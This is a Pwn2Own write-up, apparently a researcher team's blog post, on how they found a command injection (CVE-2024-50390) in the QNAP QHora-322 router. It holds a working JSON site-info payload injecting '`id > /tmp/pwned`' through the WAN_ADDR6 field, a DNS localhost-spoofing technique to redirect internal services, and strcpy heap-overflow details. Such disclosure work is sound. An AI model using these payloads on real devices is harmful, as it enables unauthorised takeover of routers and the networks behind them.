Pwn2Own Ireland 2024: Hacking the QNAP QHora-322
During Pwn2Own Ireland 2024, we demonstrated a SOHO Smash-up where we first compromised a QNAP QHora-322 router on the WAN side and then pivoted to a TrueNAS Mini X. This blog post explains the vulnerability we found in the QNAP router (CVE-2024-50390). You can find the write-up of our TrueNAS vulnerability here. Instead of just describing the vulnerability itself, we’re going to explain our thought process during the research. Hopefully this will help other researchers find similar vulnerabilities in other routers. If you only care about the vulnerabilities we exploited during the competition, you can skip the first few sections.
See the Zero Day Initiative's post about this entry on Mastodon →
Background
We found the TrueNAS vulnerability first. But since this vulnerability requires MITM privileges, we decided to try to go for a SOHO Smash-up. Since this would ensure we would be able to actively MITM traffic during the competition. We looked at several routers in the SOHO Smash-up category, before settling for the QNAP. Apparently we weren’t the only ones: the competition had seven entries for the SOHO Smash-up with the QNAP as the target.
Obtaining the firmware
While waiting for the router to arrive, we started analyzing the firmware. You can download a copy from QNAP's website, but the firmware seemed to be encrypted. While Googling we found that people had already written a decryption script for other QNAP devices. After some trial and error, we found that it uses the same encryption mechanism, albeit with a different encryption key. Luckily the encryption key is easily guessable: it's QHora-322. After decryption, we're left with a nice SquashFS image of the firmware.
Some more Googling revealed that the router does not come with SSH, as this is deemed a security risk by QNAP. However, it does seem to have a serial interface, which we learned from this OpenWrt post. The port is nicely labelled DBG_CONSOLE. After receiving the device and immediately voiding its warranty, we confirmed its existence. You can log in with the same credentials as the web interface, and conveniently this user also has sudo privileges.
Initial analysis
A few years back some teams forgot to go through the initial setup screen, and just immediately did a port scan on the WAN interface and found an exploitable bug in the exposed web interface. However, completing the setup would actually close this port on the WAN side, making the vulnerability useless for the competition. Careful to not make this same mistake, we first walked through the setup wizard.
After initialization we first did a TCP port scan on the WAN interface, but this came back empty. Then we looked at any outgoing connections, where we came up with the following list:
- UDP port 53: DNS using dnsmasq
- UDP port 68: DHCP using ics-dhcp
- UDP port 123: NTP using systemd-timesyncd
- TCP port 80: HTTP request by
/usr/sbin/ncsid - TCP port 443: various TLS requests to *.myqnapcloud.io by
/usr/sbin/cloudagent
We deemed only the two TCP connections to be interesting, so let's dive a bit deeper.
Cloud Agent
The service in /usr/sbin/cloudagent makes multiple requests to various subdomains under *.myqnapcloud.io. All are protected using TLS. All connections seem to be related to their cloud system, used for remote management, firmware upgrades, and their QuWAN SD-WAN feature.
Of course when using TLS it is important that the server certificate is properly validated. Something that we have seen go wrong multiple times in the past, especially on embedded devices. Sometimes validation is disabled entirely, sometimes it only checks if the certificate is valid but not if the domain name matches. We've also seen cases where they used their own CA, and used the same CA for signing per-device certificates.
We tried multiple techniques to intercept these connections, but in the end this yielded no results. So we decided to look elsewhere.
NCSI (Network Connectivity Status Indicator)
The service in /usr/sbin/ncsid makes an HTTP request to http://ncsi.qnap.com/ncsi.txt in order to determine if it has internet connectivity. Since this was a call over HTTP, we can of course influence the response. After some reverse engineering, we understood how it worked:
- The function doing the request is called
NcsidObj::Task() - It uses curl under the hood
- The body of the response is ignored (written to
/dev/null) - The HTTP response headers are stored in a file under
/var/run/network/header_<device>.<timestamp> - After which it will run two regexes on the headers, namely
HTTP.*200 OK\r\nandContent-Length: (2|10)\r\n
If these regexes both match, it returns 0; otherwise it returns an error code. Unless we were interested in trying to find some bugs in curl itself, we deemed this binary not useful for us.
What is this strange UDP service?
We also identified a mysterious UDP service listening on port 7788 on the WAN interface. It is handled by the binary /usr/sbin/quwan_wmd. Let's dive a bit deeper into this daemon to see what it does. After some reverse engineering we found out it expects a JSON payload, after which it will send some server statistics back. An example can be found below:
$ nc -u 192.168.2.6 7788
{"Sender": 1, "Receiver": 1, "WAN": 1}
{"Connections": 0, "Cpu": 0.85000002384185791, "Memory": 14.595000267028809, "Receiver": 1, "RemoteWan": 1, "Result": 0, "Sender": 1, "WAN": 1}
The first line is what we send to this service, and the second line is the response. To be honest we have no idea why this service exists or more importantly why it is publicly accessible. There are some assertions it checks otherwise it will bail out, as can be seen below:
$ nc -u 192.168.2.6 7788
{"Sender": "bla", "Receiver": 1, "WAN": 1}
$ /usr/sbin/quwan_wmd -f
quwan_wmd entered foreground mode.
terminate called after throwing an instance of 'Json::LogicError'
what(): Value is not convertible to Int.
Aborted (core dumped)
Here the service aborts, because the sender field in the JSON is a string, where it expected an integer. Apart from this behavior the service doesn't seem to do anything with our input. We haven't dived deeper into the JSON parser itself, so there might be something there. We decided to look for other attack surface instead.
Benchmarking
So far our research hadn't revealed anything worthwhile. So we needed to find some additional attack surface. Looking at the list of listening services we identified another service that looked interesting: /usr/sbin/mlmd. We noticed this service listens by default on the IP address 198.19.0.0:
$ ss -natlp
State Local Address:Port Peer Address:Port
LISTEN 127.0.0.1:6666 0.0.0.0:* users:(("rapid",pid=3695,fd=10))
LISTEN 127.0.0.1:6379 0.0.0.0:* users:(("redis-server",pid=5951,fd=4))
LISTEN 198.19.0.0:7788 0.0.0.0:* users:(("mlmd",pid=66883,fd=7))
LISTEN 0.0.0.0:9999 0.0.0.0:* users:(("rtproxy",pid=5723,fd=8))
LISTEN 127.0.0.1:9876 0.0.0.0:* users:(("ltproxy",pid=5728,fd=5))
LISTEN 0.0.0.0:9877 0.0.0.0:* users:(("rtproxy",pid=5723,fd=7))
LISTEN 127.0.1.1:53 0.0.0.0:* users:(("dnsmasq",pid=5586,fd=22))
LISTEN 192.168.105.1:53 0.0.0.0:* users:(("dnsmasq",pid=5586,fd=20))
LISTEN 192.168.100.1:53 0.0.0.0:* users:(("dnsmasq",pid=5586,fd=18))
LISTEN 192.168.106.1:53 0.0.0.0:* users:(("dnsmasq",pid=5586,fd=16))
LISTEN 192.168.102.1:53 0.0.0.0:* users:(("dnsmasq",pid=5586,fd=14))
LISTEN 192.168.101.1:53 0.0.0.0:* users:(("dnsmasq",pid=5586,fd=12))
LISTEN 192.168.107.1:53 0.0.0.0:* users:(("dnsmasq",pid=5586,fd=10))
LISTEN 192.168.104.1:53 0.0.0.0:* users:(("dnsmasq",pid=5586,fd=8))
LISTEN 192.168.103.1:53 0.0.0.0:* users:(("dnsmasq",pid=5586,fd=6))
LISTEN 127.0.0.1:58080 0.0.0.0:* users:(("webframework",pid=7151,fd=16))
LISTEN 127.0.0.1:3008 0.0.0.0:* users:(("light-indicator",pid=5917,fd=7))
LISTEN *:80 *:* users:(("webframework",pid=7151,fd=17))
LISTEN *:443 *:* users:(("webframework",pid=7151,fd=18))
This IP address is assigned to a TUN interface by default:
$ ip address show dev tun1
22: tun1@NONE: <NOARP,UP,LOWER_UP> mtu 1300 qdisc noqueue state UNKNOWN group
default qlen 1000
link/ipip 198.19.0.0 brd 0.0.0.0
inet 198.19.0.0/32 scope global tun1
valid_lft forever preferred_lft forever
inet6 fe80::5efe:c613:0/64 scope link
valid_lft forever preferred_lft forever
What would happen if we assigned this IP address to the WAN interface via DHCP? It turns out it then suddenly becomes part of the attack surface!
$ nc -v 198.19.0.0 7788
Connection to 198.19.0.0 port 7788 (tcp) succeeded!
We initially had no idea what this service was used for. After some reverse engineering we came to the conclusion its an implementation for RFC 2544, a benchmarking methodology for network interconnect devices. The receive function receives data into a stack-based buffer in a loop. Unfortunately this buffer is never referenced anywhere else. It merely seems to receive data such that it can obtain metrics about its throughput. With no parsing being done on the data itself, we rendered this service uninteresting for our research and decided to look for more attack surface.
Can we increase our attack surface?
So far we looked at quite a bit of attack surface, but hadn't found any vulnerabilities useful for the competition. But there are many levers we could tweak, just to see if something would yield new attack surface. Some ideas we tried were for example:
- Enabling IPv6
- Enabling or disabling the QNAP cloud feature
- Only handing out an IPv6 addresses
- Handing out both an IPv4 and IPv6 address, but blocking (certain) outgoing traffic on one of them
- Block or alter some outgoing connections midway
- Various combinations with the above
The possibilities are nearly endless, and every change requires careful inspection of any state changes. This can be very error-prone, and it is easy to overlook something in this process. For example, we heard that some other teams found the management interface to be reachable over IPv6 on the WAN side. In our port scan it was reported as closed however. We have no idea why exactly, but this shows just how error-prone this process can be.
Luckily, after some iterations we did end up finding something that stood out!
There is no place like ::1
When looking more closely at the DNS requests it sends out, we found one that was unexpected. The router seems to send out a DNS request for the AAAA record for localhost...
$ tcpdump -i swdev1 port 53
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on swdev1, link-type EN10MB (Ethernet), capture size 262144 bytes
...
11:17:47.551892 IP QHora322895B8E.33870 > 192.168.2.1.domain: 25478+ AAAA? localhost. (27)
11:17:47.552001 IP6 QHora322895B8E.37028 > fdb2:3c26:f4e4:0:21c:42ff:fe4d:1.domain: 25478+ AAAA? localhost. (27)
...
We were a bit surprised at first, but after looking at /etc/hosts we did see a record for 127.0.0.1, but none for ::1. When replying to this request with an IP address of our own, we suddenly saw incoming packets appear. Specifically we observed two incoming TCP connections, one on port 5000 and the other to port 6666. The first seems to be something gRPC related:
$ nc -v -6 -l 5000
Listening on :: 5000
Connection received on fdb2:3c26:f4e4:0:21c:42ff:fe4d:109 52242
PRI * HTTP/2.0
SM
$@@ ���@
:authoritylocalhost:5000@:path/agentpb.Agent/GetState@ttrailers@
content-typeapplication/grpc@
identity,gz^Cpc-c++/1.25.0 grpc-c/8.0.0 (linux; chttp2; game)@grpc-accept-encodingidentity,deflate,gzip@accept-encoding
This connection is originating from /usr/sbin/nm_grpc_handler, which tries to reach /usr/sbin/cloudagent. The second connection seems to be plain HTTP:
$ nc -v -6 -l 6666
Listening on :: 6666
Connection received on fdb2:3c26:f4e4:0:21c:42ff:fe4d:109 32768
GET /apis/v1/scanned_devices HTTP/1.1
Host: localhost:6666
Accept: */*
This connection is coming from /usr/sbin/dm_agent, which tries to connect to /usr/sbin/rapid.
Exploring dm_agent
We decided to first look at the HTTP request, since this is easier to mock up. Replaying the request against the actual rapid service gave us an example response to work with:
{
"data": [
{
"mac": "012345678912",
"weight_os": 1,
"os": "AAAA",
"weight_vendor": 1,
"vendor": "AAAA",
"weight_model": 1,
"model": "AAAA",
"weight_name": 1,
"name": "AAAA",
"weight_type": 1,
"type": "AAAA",
"nick_name": "AAAA",
"customized_type": "AAAA",
"dhcp_count": 1,
"ua_count": 1,
}
...
]
}
It contains an array of objects, where each object describes a connected client. Let's look at how this data is parsed inside dm_agent:
__int64 restore_rest_api()
{
...
ptr = (void *)curl_get_data("http://localhost:6666/apis/v1/scanned_devices");
v0 = cJSON_Parse();
v28 = v0;
if ( v0 )
{
...
v9 = (const char *)cJSON_GetStr(v17, "os");
if ( v9 )
{
v8->dword1F0 = cJSON_GetInt(v17, "weight_os");
strcpy(&v8->char14, v9);
}
v10 = (const char *)cJSON_GetStr(v17, "vendor");
if ( v10 )
{
v8->dword1F4 = cJSON_GetInt(v17, "weight_vendor");
strcpy(&v8->char20, v10);
}
v11 = (const char *)cJSON_GetStr(v17, "model");
if ( v11 )
{
v8->dword200 = cJSON_GetInt(v17, "weight_model");
strcpy(&v8->charB0, v11);
}
v12 = (const char *)cJSON_GetStr(v17, "name");
if ( v12 )
{
v8->dword1F8 = cJSON_GetInt(v17, "weight_name");
strcpy(&v8->char60, v12);
}
v13 = (const char *)cJSON_GetStr(v17, "type");
if ( v13 )
{
v8->dword204 = cJSON_GetInt(v17, "weight_type");
strcpy(&v8->charF0, v13);
}
v14 = (const char *)cJSON_GetStr(v17, "nick_name");
if ( v14 )
strcpy(&v8->char1B0, v14);
v15 = (const char *)cJSON_GetStr(v17, "customized_type");
if ( v15 )
strcpy(&v8->char170, v15);
v8->dword2B0 = cJSON_GetInt(v17, "dhcp_count");
v8->dword2AB4 = cJSON_GetInt(v17, "ua_count");
...
}
That's a lot of calls to strcpy()! It copies each string element (such as OS, vendor etc) to a heap-mapped hash table, using an unsafe strcpy(). With this primitive we can easily overflow multiple chunks. Even better we can trigger this code path more than once, since it is parsing an array of objects; triggering this path for each object.
Since heap exploitation can be tricky to make reliable, we decided to look for an easy exploitation path. We quickly found one, when looking at the MAC address field in our client describing object. This field is used in a call to popen() along another code path. In that path we loop over all client objects and see if a certain bit field is set. If so, it grabs the MAC address and run the command lcsh dm trace <MAC>. We could set this bit field using a strcpy() to overflow into this field to set it to 1. We thought by just placing a short shell command in the MAC address we could run arbitrary commands.
However, things turned out to be not so simple. Though the MAC address is controlled by us, it is normalized to the form XX:XX:XX:XX:XX:XX before being stored in our heap struct. So `id` would be translated into `i:d`. Why not use a strcpy() to overwrite the MAC address to make it an arbitrary command you might ask? Unfortunately the MAC address is stored at the beginning of our struct, so we cannot directly reach it with a strcpy(). Ok, not the end of the world. Maybe we could do some heap shaping to make a second device struct be placed before the first, and then use a strcpy() to overwrite the MAC address of the first entry. This also turned out to be more difficult than we initially anticipated. The hash map structure requires certain fields to be NULL; otherwise the whole system grinds to a halt. We could write some NULL-bytes since we have multiple calls to strcpy() to work with, but not enough to keep the hash map happy. In the end we decided to first look at the incoming gRPC call; we could always return to this vulnerability at a later stage.
Exploring gRPC
The other service (nm_grpc_handler) utilises gRPC, a popular RPC framework, to retrieve information from cloudagent (the daemon we looked at earlier, since it makes several outgoing connections to the QNAP cloud). We started our investigation into this service by trying to build a mock up implementation, so that nm_grpc_handler would accept our responses. We did this by sniffing normal traffic between nm_grpc_handler and cloudagent, and then trying to replicate this in Python. After some trial and error we were able to mimic cloudagent closely enough. Services in gRPC are defined using protocol buffers, in a .proto file. In the end we reverse-engineered the following agent.proto file:
syntax = "proto3";
package agentpb;
service Agent {
rpc GetState (GetStateRequest) returns (GetStateResponse);
rpc ControlPanelCommunicate (stream ControlPanelCommunicateRequest) returns (stream ControlPanelCommunicateResponse);
rpc RunCloudApi (RunCloudApiRequest) returns (RunCloudApiResponse);
rpc CommandGeneratorCommunicate (stream CommandGeneratorCommunicateRequest) returns (stream CommandGeneratorCommunicateResponse);
rpc FetchAllConfigs (FetchAllConfigsRequest) returns (FetchAllConfigsResponse);
rpc TelemetricCommunicate (TelemetricCommunicateRequest) returns (TelemetricCommunicateResponse);
}
message GetStateRequest {
}
message GetStateResponse {
uint32 result1 = 1;
uint32 result2 = 2;
}
message ControlPanelCommunicateRequest {
}
message ControlPanelCommunicateResponse {
string resp_body = 1;
uint32 timestamp = 2;
}
message RunCloudApiRequest {
string cmd_type = 1;
string req_body = 3;
}kk
message RunCloudApiResponse {
string status = 2;
uint32 status_code = 3;
string resp_body = 4;
}
message CommandGeneratorCommunicateRequest {
string req_body = 1;
string timestamp = 2;
}
message CommandGeneratorCommunicateResponse {
string resp_body = 1;
uint32 timestamp = 2;
}
message FetchAllConfigsRequest {
}
message FetchAllConfigsResponse {
uint32 restult = 1;
}
message TelemetricCommunicateRequest {
string req_body = 1;
string timestamp = 2;
}
message TelemetricCommunicateResponse {
}
From here we tried to mess with various responses, to see how these were handled by nm_grpc_handler. From looking at the definition, CommandGeneratorCommunicate, RunCloudApi and ControlPanelCommunicate looked the most promising, as their response contained a whole JSON blob which we could play with. For example this is a typical response for CommandGeneratorCommunicate:
{
"type": "set",
"id": "",
"cmd": "updateCert",
"value": [
{
"fileName": "1.key",
"content": "content1"
},
{
"fileName": "1.pem",
"content": "content2"
}
]
"isSubCmd": false
}
Obviously we tried to see if we could use a path traversal here to write arbitrary files. Which unfortunately did not work. Eventually we dived deeper into the ControlPanelCommunicate call. This call returns a large JSON blob, which is referred to as a 'site info':
{
"META" : {
"LAST_UPDATE" : "AAAA",
"VERSION" : "4.0.0"
},
"SITE_INFO" : {
"1" : {
"DOMAIN" : "global",
"GROUP_ID" : "e3c38a7e-2080-49a9-a960-488599d4c689",
"HUB" : "",
"HUBS" : [],
"LAN" : [
"192.168.107.0/24",
"192.168.106.0/24",
"192.168.101.0/24",
"192.168.100.0/24"
],
"MESH" : false,
"PORT1" : {
"IKE_PORT" : "udp:500",
"IPSEC_NATT_PORT" : "udp:61001",
"ISP_BW" : "2500000000",
"REAL_WAN_ADDR4" : "5.39.188.21",
"RX_RATE" : "100000000",
"TUN_ADDR4" : "198.19.0.0",
"TX_RATE" : "2500000000",
"WAN_ADDR4" : "192.168.2.103"
},
"ROLE" : "EDGE",
"STATIC_ROUTE" : []
}
}
}
At first we tried the layman's approach, by just injecting `touch /tmp/pwned` into every field. This did not work however, so we needed to better understand how this site info is used. It turned out to be a rather involved process. To follow this chain we heavily relied on one of our favorite tools: strace, together with revers engineering. So let's go down the rabbit hole!
The function responsible for parsing the gRPC response in nm_grpc_handler is called RecvBroker::site_info_applier_cb(). Upon receiving a new site info it will first construct a filename with the following structure: /var/run/cms_config/siteInfo_update_<timestamp>.json. From here it will use QNAP's own IPC mechanism to send a message, containing the JSON and the path, to another binary (/usr/sbin/ncaas). Why nm_grpc_handler cannot do this by itself is unknown to us. We also haven't looked into how this internal IPC mechanism works, we just followed its tracks.
After saving the file to disk, nm_grpc_handler will send out another IPC message. This time to /usr/sbin/das, notifying it that a new site info is available. This message is picked up by the function service_handler() in das. This function then constructs a shell command that it will then execute. The command that it will eventually run is python /usr/lib/networkmanagement/daemon/das/das.pyc apply <filename>.
The file das.pyc is actually a bunch of compiled Python scripts. They carefully parses a new site info, to see if there are any changes from the current configuration. If so they will send out more IPC messages to other daemons, containing specific settings that need to be changed. Since the Python scripts were already compiled (.pyc), all the comments were removed. The code itself was also quite hard to comprehend, as can be seen by this small excerpt below. These are just 30 lines out of the 3000 lines in total.
def _relevant_site_modification(self):
...
if self.boot_flag or not self.ops & (self.OPS_SITE_ROUTE | self.OPS_MPTCP_ROUTE | self.OPS_TOPOLOGY | self.OPS_REGIONAL_LINK):
return modified_list
try:
if not (self.l_id and self.r_id and self.l_role and self.r_role) or self.l_role == 'EDGE' and self.l_hub == '' or self.r_role == 'EDGE' and self.r_hub == '':
return modified_list
if self.l_role == 'NODE' or self.r_role == 'NODE':
return modified_list
if self.r_id == self.l_id and self.ops & self.OPS_TOPOLOGY:
if self.l_role == 'NODE':
modified_list += [o for o in self.cfg_dict[self.type] if o != self.l_id and self.cfg_dict[self.type][o].get('ROLE', 'NODE') == 'NODE']
else:
modified_list += [o for o in self.cfg_dict[self.type] if o != self.l_id and self.cfg_dict[self.type][o].get('ROLE', 'NODE') != 'NODE']
elif self.l_role == 'HQ':
if self.r_hub != self.l_id:
return modified_list
modified_list += [o for o in self.cfg_dict[self.type] if self.cfg_dict[self.type][o].get('HUB', '') == self.r_id]
elif self.l_role == 'HUB':
if self.r_hub == self.l_id:
return modified_list
if self.r_id == self.l_hub:
modified_list += [o for o in self.cfg_dict[self.type] if o != self.l_id and o != self.r_id and self.cfg_dict[self.type][o].get('HUB', '') != self.l_id and self.cfg_dict[self.type][o].get('ROLE', 'NODE') != 'NODE']
elif self.r_role == 'HUB':
modified_list += [o for o in self.cfg_dict[self.type] if self.cfg_dict[self.type][o].get('HUB', '') == self.r_id]
elif self.l_role == 'EDGE':
if self.r_id == self.l_hub:
modified_list += [o for o in self.cfg_dict[self.type] if o != self.r_id and o != self.l_id and self.cfg_dict[self.type][o].get('ROLE', 'NODE') != 'NODE']
if self.r_id != self.l_id and self.ops & self.OPS['WAN_ADDR4']:
if self.r_id in self.rglink_index.get('REMOTE_DOMAIN', {}).values():
for d, i in self.rglink_index['REMOTE_DOMAIN'].items():
if i == self.r_id:
modified_list += [o for o in self.cfg_dict[self.type] if self.cfg_dict[self.type][o].get('DOMAIN', 'global') == d]
...
We did not want to understand the entire code base. However we did note that this script had no easy file write or command injection flaw. So, we figured that our best bet was to make this script call another process via IPC and hope we could find something there. For this we picked an arbitrary call at random, specifically this one:
def _apply_site_route6(self):
...
if self.args.get('ipset6'):
tmp = {'path': (self.args.get('ipset6'))}
ret, out = qs.Service.ezCall('rmgmtd', 'ipset.edit_remote_ipset6', json.dumps(tmp))
if ret:
all_good = ErrorCode.DAS_IPSET_FAILED
logger.warning(('qsh rmgmtd.ipset.edit_remote_ipset6 ret={} out={}').format(ret, out))
...
We had no specific reason to pick this one. We just thought let's first see where this leads us, and otherwise we can always come back later and pick another one. From this call we just had to backtrace what we needed to modify to our site info to make sure we ended up in this if-statement. Once successful we decided to reverse engineer the receiving function in /usr/sbin/rmgmtd.
It turned out we were extremely lucky with our guess! In rmgmtd the function that will receive this message is called ipset_utils::edit_remote_wan6. This function will construct a new shell command and just add the raw contents of a field from the site info. We observed this by stracing this process and just grepping on the information we set in our updated site info. Here is the required site info we used:
{
"META" : {
"LAST_UPDATE" : "AAAA",
"VERSION" : "4.0.0"
},
"SITE_INFO" : {
"1" : {
"DOMAIN" : "global"
...
},
"2" : {
"DOMAIN" : "global",
"GROUP_ID" : "e3c38a7e-2080-49a9-a960-488599d4c68a",
"HUB" : "",
"HUBS" : [],
"LAN" : [],
"MESH" : false,
"PORT2" : {
"IKE_PORT" : "udp:500",
"IPSEC_NATT_PORT" : "udp:61001",
"ISP_BW" : "2500000000",
"REAL_WAN_ADDR4" : "213.156.18.101",
"RX_RATE" : "100000000",
"TUN_ADDR4" : "198.19.0.0",
"TX_RATE" : "2500000000",
"WAN_ADDR4" : "192.168.59.103",
"WAN_ADDR6" : "`id > /tmp/pwned`"
},
"ROLE" : "NODE",
"STATIC_ROUTE" : []
}
}
There are several requirements for this site info. For example, the "ROLE" must be set to "NODE", and it must not be the first element in "SITE_INFO", to name just a few. But by sending the right site info we did end up with a nice command injection vulnerability, as can be seen from this strace output:
execve("/bin/sh", ["sh", "-c", "/usr/sbin/firewall6.sh edit_ip6_ipset add ip6_rwan `id > /tmp/pwned`"] ...)
Conclusions
A video of our entire SOHO smash-up chain can be seen below. In here we first compromise the router on the left side, and then pivot to the TrueNAS on the right.
In this write-up we spend a bit more time on how we actually conducted this research, also elaborating on the dead ends we pursued before eventually finding an exploitable vulnerability. We hope that this might inspire or help other researchers.
After successfully finding and exploiting the QHora-322, we were all set for a SOHO Smash-up. Here we would first exploit the QHora and use the MITM capabilities we gained to exploit a TrueNAS system on the internal LAN. The write-up of our TrueNAS vulnerability can be found here. When entering the competition we quickly found out we were not the only ones. There were seven other entries, and we came out as second to last in the drawing. We deemed our chances of having a unique chain very unlikely. However, after successfully demonstrating our chain, we were surprised to hear that all our vulnerabilities were unknown to them!
®